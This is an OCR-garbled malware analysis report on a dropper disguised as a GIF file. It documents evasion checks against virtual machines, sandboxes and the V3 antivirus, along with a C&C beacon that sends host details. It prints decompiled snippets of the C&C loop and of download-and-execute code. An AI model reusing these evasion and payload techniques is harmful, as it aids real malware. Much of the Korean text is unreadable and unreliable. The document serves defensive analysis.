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Safe' Red Alert

1. Malware Stub

1.1. Malware File Info

Malware Name
File Size

Compiled Date

Malware Name
File Size

Compiled Date

Malware Name

File Size

Compiled Date

VY EWEICNEING

File Size

Compiled Date

last.gif

20D24C2CBBBF35F7687D7EF287EBECO8
N/A

1,436,327 Byte
2014.07.07 20:36:13

Table 1. File Info-1

last.gif

765,952 Byte AB1F2AA208FE70678CAL1EE17DDC8E7EC

2014.07.07 20:36:13 Sub Process

Table 2. File Info-2

[Rnd].exe

9CB5B1B4ABEBD7CA916370ADADOC2BEB
N/A

675,840 Byte
2014.07.07 17:05:59

Table 3. File Info-3

[Rnd].exe

9CB5B1B4ABEBD7CA916370ADADOC2BEB

Sub Process

675,840 Byte
2014.07.07 17:05:59

Table 4. File Info-4

1.2, Route of infection
- http://www.*****ith.com/theme/temo/last.gif
- http://*****man.pe.kr/xe/modules/checkip/tpl/vbs/last.gif

Index
oS

Browser

l] facebook.com/nshc.redalert

1.3. Analysis Environment

Description
Windows XP SP3 KOR

Windows Internet Explorer 8

Table 5. Analysis Environment

© 2014 Red Alert. All Rights Reserved.
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1.4. Drop Flow

Dropper Module Malicious Module
last.gif last.gif [Rnd].exe [Rnd].exe
Alloc Alloc
text text text text
1. Main Proc 2. Sub Proc 3. Main Proc 4. Sub Proc
- Anti VM - Anti V3 - Anti VM - Malicious Code!
- Anti SandBoxie - Anti SandBoxie

Figure 1. Drop Flow

1.5. IP Info

AYIRE 4P Al &St C&aC MH FEYLICE

IP address:
hostname:
ISP:
Organization:
City:

Region:
Country:
Postal code:

latitude:

longitude:

Rl Bl e ol ™
host393.hostmonster.com
Bluehost

Unified Layer

Provo

Utah

United States (US)
84606

40.2181

-111.6133

Figure 2. IP Info-1
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Figure 3. IP Info-2
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2. Technical Details

2.1. Anti-Virtual Machine

MFCE2 HMZtE AMAE EZHeE TR TEE Allocate HZ2| Yo SEtsto] MstL|ct &t
=3

2.1.1. Registry-based Detection
E3 YXAEZA 'VMWare'2t 'VBOX' =AtE S AMSIY 7haetZ QK| 2HelgtL|Ct,

Figure 4. Registry-based Detection (VMWare)

- HKLMWSYSTEMW%WCurrentControlSetWServicesWDiskWEnum

- HKLMWHARDWAREWDEVICEMAPWScsi#Scsi Port OWScsi Bus OWTarget Id OWLogical
UnitId 0

- HKLMWSOFTWAREWVMware, Inc.WVMware Tools

CALL to strstr from OOCEO4A]

1" WA e ]

Lo _
FTWARENOraclelW Guest Additions"

Figure 6. Registry-based Detection (VBOX)

- HKLMWSOFTWAREWOTracleWVirtualBox Guest Additions
- HKLMWHARDWAREWDescription¥System

B Value Name : SystemBiosVersion

Figure 7. String Matching (VBOX)
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2.1.2. File-based Detection

teEoM SEsts £ EEt0|H S| WS HMSHY TheetE QIR EERLCH

[Fi1emame

e

Figure 8. File-based Detection (VMWare)

- CWWINDOWSWsystem32Wdirversttvmmouse.sys (VMWare)
- C:WWIDDOWSWsystem32Wdriverst¥vmhgfs.sys (VMWare)
- CWWINDOWSWsystem32W#driverst#VBoxMouse.sys (VBOX)
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ENLE SEELL

2.2, Bypass Anti-Virus

EEE AEIEE %TEMP%O EXSHA =, AEIRE A Al 'Viliteexe'?] dHAFE 20

-1 O =
Sto] ofid Z2MA0t % & 2 4% dEIEs AMMA S 2 ZRMA0 SREO

O old A28 Hol %S ot EsL

CreateToolhelp32Snapshot(2u, 8);

if ( vo = (HANDLE)-1 )
{
1 = LoadlLibraryA("kernel32. dll"}JI
‘rocess32First = GetProcAddress(vl, "Process32First");
rocess32Next = GetProcAddress( I, PPDCEESBZNext"),
((void (_ stdcall *)(HANDLE, int *))Process32First)(ve, &vé);
if ( ((int (__stdcall *)(HANDLE, int “E)DP6:+;T??JPLT)( @, &vE) )
Iwhile ( stricmp(&v9, "V3Lite.exe") ”
1
if ( !'((int (__stdcall *)(HANDLE, int *))Process32Next)(ve@, &ve) )
goto LABEL_7;
¥

Figure 9. Bypass Anti-Virus
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2.3. Anti-Automatic Analysis

RS AAYS Sof BMEE 22 U] ) BEOIS, TAZR, ABXI0IE 5 KSEX

[LE

A2"OAM 2oX|= EE53 01800 ArsE4 Al28S AL

2.3.1. Module-based De

tection

GetModuleHandle &£ 0[83t0 2E& Z& &, Of2f 250 28 E/UA=A SXILIC

ModuleHandleas from 00CE13DGE

‘shiedll.dll"

Figure 10. Module-based Detection

- Sbiedll.dll : SandBoxie Module

- Api_log.dll : SunBelt

Module

- Dir_watch.dll : SunBelt SandBox Module

- Dbghelp.dil : VMWa

re Module

2.3.2. Username-based Detection
2791 AFEXte| O|E T, of2f 0|E0| AtEE ZS EMX|ghL|Ch

from OOCBEL111E

S TRATOR"

- SANDBOX

- VIRUS

- MALWARE
2
A

Sl E Dol HH BZ0A

Figure 11. Username-based Detection

3.3. Pathname-based Detection
S

otz O|E0| A+EE & AL

= "C:MWLAST. GIF"

I:I:Z ALL to strstr From Q00CE11Cd

= """._f."J"-1F'LE"

- WSAMPLE
- WVIRUS
- SANDBOX

l] facebook.com/nshc.redalert

Figure 12. Pathname-based Detection
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2.3.4. Hooking Check

CreateProcess &2 24 MAZ 37| Al &= Al

fkal
=
O
<

—
2
o
x

m
L
i
o
>
ot
-
il

Current

-

kerneliZ.ReadProcessMemory

Slob 20| IHEEM AAHOER ofNElE 20| U2 P TRAAE FRELIL
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2.4, Server Connection
AFYALTL ALH0 ZHEE B2 ofgf YESS +USHH CacAHo HEs F FEES 7l
L Cf.

- OS Version (GetVersionEx)

- Computer Name (GetComputerName)

- MAC Address (GetAdaptersInfo)

- C&C : http://www.******** org/common/lang/us.lang,php

w3 = {(int)"http:/ /v, """ 2" " org/common/lang/us.lang.php";
while ( 1)
{
for (1 =8; 1 <= 2; ++1 )
i
while ( 1 )
{ strcpy(byte 414238, (&v2)[4 * i]);
if ( Connection_402D9D(byte 414238) == 4084 )
break;

Sleep(1068 * dword 413854);

¥
Sleep(1088 * dword_4130854);

¥
Sleep(1000 * dword_413054);

Figure 14. Server Connection

T2 CH2EO0L 2K A4S AL

mjo

Mol EX Hao|| o2t %TEMP%O| TIHY

if ( 1lpString2a )
{
if ( *v6 == 0x4D && v5[1] == @x54 ) // \ri\n
{
Buffer = 9;
memset(&v53, @, @x183u);
GetTempPathA(0x103u, &Buffer);
strcat(&Buffer, "\\");
strcat(&Buffer, &va1);
v9 = fopen(&Buffer, "wb");
w55 = -.-'-'IJ
if ((v9 )
{
fuwrite(ve, 1u, lpString2a, v9);
fclose(v55);
if ( WinExec_4141C8(&Buffer, @) »= 31 )
strcpy(&v5@, "deo");
i
I
¥

Figure 15. File Download
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3. Red Alert of Opinion

7|EL AFRENM= HLABIE S O|8d) ZES E=ot, #iES 2357 7tdMis &
Aot= S AEICIHY 7|#0] HEEJASLICE HE0 O/ HMENM= FIHHL=2 Xs=4
MBS XSt 20| ZAEASHCL FdIES 242 I, 38 Xs= =He 4893
SIEICIHZ 7|} S 1245ty 242 S{oF & Ao =2 WEHE L

4. Removal Recommendations

4.1. Delete File
=2 EMT|ol EMZMOM ‘Bz E 2% MK ot b H3gtAol M3
Toad Y W EM BAlQ 2tre HES 28350 "*%3+ F otz Z=o| me
7| HFEILICE

- %TEMP%W[Rnd].exe

|
ne
o>
N
N
6;

£ o MBHA|
(k=X
=

AHISHA|

rl

4.2, Registry Cleanup
AL YXAER| WHTIE 0330 AHYAE B YXAE2IE AHELCL
- HKCUWSOFTWAREWMicrosoft¥WindowsWCurrentVersion¥WRun

B Value Name = [Random Name]
B Value Data = %TEMP%W[Rnd].exe

4.3. Use of Anti-Virus
‘Reference. [1] Virus Total'S &15I0] oie AHIEE X2 = U= ‘Anti-Virus' MES 0| &}
=

Of AlAE MY ZALS FEWLA|7| HREILICH

—
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5. Reference

[1] Virus Total
https://www.virustotal.com/ko/file/a3d5f7afe72489b58ad8609bc422368901d024cb8615f2c95
1506adf6b13b762/analysis/

[2] E{Sar Hok
http://viruslab.tistory.com/3509

[3] vazermind
http://vazermind.com/2013/01/04/c-bypass-sandboxiesunbeltsb-sandboxvmware-by-

modules/
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